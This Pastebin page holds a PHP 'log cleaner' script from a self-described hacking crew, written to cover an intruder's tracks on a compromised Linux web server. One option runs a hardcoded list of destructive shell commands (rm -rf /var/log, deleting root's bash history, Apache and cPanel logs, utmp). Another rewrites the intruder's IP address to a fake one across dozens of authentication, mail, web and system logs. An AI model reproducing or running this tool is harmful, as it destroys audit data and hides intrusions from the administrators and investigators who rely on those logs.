Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Mirror: http://www.kittyga.ga/2016/03/phpserver-log-cleaner.html
- _________________________________________
- <?php
- /*
- #########################################
- #---------------------------------------#
- # Pr1v8 HK lOg cLeAnEr v.1 - 2011 #
- # Dev @ 2012-Apr-01 #
- #---------------------------------------#
- # Coded by : HaNniBaL KsA (HK) #
- # Email : hk@r00t-s3c.com #
- # Crew : r00t-s3cur1ty (rS) #
- #---------------------------------------#
- #########################################
- Greet'z 2 :
- Al-k!nG - Dr.Selv3r - MR.DH - Dr.KroOoZ - Rab3oun - RiSkY - Or4nG.M4n
- HaCk4PuNiSh , Red-Virus , Mr.Hx , QaTaR-Attack - Abo Amira ...So on (:
- S.Greet'z 2 : r00t-s3c.com , p0c.cc , sec4ever.com
- alm3refh.com (Alm3refh team & Alm3refh Student)
- *NOTE!! :
- Use these scripts entirely at your own risk.
- The author cannot be held responsible for any damage, direct nor consequential,
- caused by the use of, or inability to use the techniques or scripts presented here.
- " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
- */
- error_reporting(0);
- set_time_limit(0);
- # plz don't remove this
- print "nn +-------------------------------------------+n";
- print " | Pr1v8 HK lOg cLeAnEr v.1 - 2011 |n";
- print " | Dev @ 2012-Apr-01 |n";
- print " +-------------------------------------------+n";
- print " | By: HaNniBaL KsA (HK) |n";
- print " +-------------------------------------------+nn";
- if($argc < 2){ # no option
- die("[#] Usage : php ".$argv[0]." [OPTIONS]n E.x : php ".$argv[0]." clean blah!nn[!] Try : "php ".$argv[0]." -h" for more options.nn"); # show how it'z works and exit
- } elseif ($argv[1] == "-h" or $argv[1] == "--help" or $argv[1] == "help"){ # check if enter the help command not the ip
- print "Usage: php ".$argv[0]." [OPTIONS]n
- Options:
- -c, --clean Replace your IP-Adress in log file'z with a Fake-IP-Adress.
- -d, --delete Delete the history & log file'z.
- -h, --help This shity message.
- Option "-c" Usage : php ".$argv[0]." -c <IP> <FAKE-IP>
- E.x : php ".$argv[0]." -c 127.0.0.1 123.4.5.6nn";
- sleep(1); # just stop for a moment
- die(); # exit
- } elseif ($argv[1] == "-d" or $argv[1] == "--delete" or $argv[1] == "delete"){ # check if enter the help command not the ip
- $delete = array('history -c','rm .bash_history','rm -rf /tmp/logs','rm -rf $HISTFILE','rm -rf /root/.ksh_history','rm -rf /root/.bash_history','rm -rf /root/.ksh_history','rm -rf /root/.bash_logout','rm -rf /usr/local/apache/logs','rm -rf /usr/local/apache/log','rm -rf /var/apache/logs','rm -rf /var/apache/log','rm -rf /var/run/utmp','rm -rf /var/logs ','rm -rf /var/log','rm /etc/httpd/logs/*','rm /usr/local/cpanel/logs/*');
- print "nn[!] Deleting ..nn"; # tell the user it'z 'll be closed
- sleep(2); # just stop for a moment
- foreach ($delete as $del){
- $doit = system($del);
- if($doit == true){
- echo "n[!] DONE! with "$del":Dn"; # print the log that has been cleaned
- sleep(1); # just stop for a moment
- } else { # if isn't cleaned
- echo "n[!] ERROR! with "$del" xDn"; # print the log that has not been cleaned
- sleep(1); # just stop for a momment}
- }
- print "nn[!] Killing it ...nn"; # tell the user it'z 'll be closed
- sleep(1); # just stop for a moment
- die(); # exit
- }
- } elseif ($argv[1] == "-c" or $argv[1] == "--clean" or $argv[1] == "clean") { # if enter clean option
- $ip = $argv[2]; # set the ip
- $fake = $argv[3]; # set the fake ip for replace the ip
- if($ip == false){ # check if enterd the ip
- print "nn[!] Plz enter your IP that you want us replace it for you.nn";
- sleep(1); # just stop for a moment
- die(); # exit
- } elseif ($fake == false){ # check if enterd the fake ip
- print "[!] Plz enter the Fake IP for replace it with your IP.nn";
- sleep(1); # just stop for a moment
- die(); # exit
- } else {
- # log'z you can edit and/or add
- $logs = array('/etc/httpd/logs/access_log','/etc/httpd/logs/access_log.1','/etc/httpd/logs/access_log.2','/etc/httpd/logs/access_log.3','/etc/httpd/logs/access_log.4','/etc/httpd/logs/error_log','/etc/httpd/logs/error_log.1','/etc/httpd/logs/error_log.2','/etc/httpd/logs/error_log.3','/etc/httpd/logs/error_log.4','/usr/local/apache/logs/error_log','/usr/local/apache/logs/suexec_log','/etc/httpd/logs/modsec_audit.log','/etc/httpd/logs/modsec_debug.log','/var/log/httpd/error_log','/var/log/apache2/error.log','/var/log/httpd-error.log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/var/log/auth.log','/var/log/kern.log','/var/log/cron.log','/var/log/boot.log','/var/log/mysqld.log','/var/log/secure','/var/log/utmp','/var/log/wtmp','/var/log/yum.log','/var/log/Xorg.0.log','/var/log/wvdialconf.log','/var/log/user.log','/var/log/pycentral.log','/var/log/mail.log','/var/log/apport.log','/var/log/auth.log','/var/bootstrap.log','/var/log/daemon.log','/var/log/dpkg.log','/var/log/fontconfig.log','/var/log/lpr.log','/var/log/chkservd.log','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/exim_rejectlog','/var/log/exim/rejectlog','/var/log/maillog','/var/log/messages','/usr/local/apache/domlogs/ftpxferlog','/var/log/xferlog','/var/log/nctfpd.errs','/var/log/httpsd/ssl.access_log','/var/log/ncftpd/misclog.txt','/var/log/nctfpd.errs');
- foreach($logs as $log){
- $file = file_get_contents($log); # read the log'z
- $file = str_replace($ip, $fake, $file); # replace your ip with the fake ip
- file_put_contents($log, $file); # save it
- if($file == true){ # if is cleaned
- echo "n[!] DONE! with : "$log" -> Cleaned ! :Dn"; # print the log that has been cleaned
- sleep(1); # just stop for a moment
- } else { # if isn't cleaned
- echo "n[!] ERROR! with : "$log" -> Not cleaned ! xDn"; # print the log that has not been cleaned
- sleep(1); # just stop for a moment
- }
- }
- print "nn[!] Killing it ...nn"; # tell the user it'z 'll be closed
- sleep(1); # just stop for a moment
- die(); # exit
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement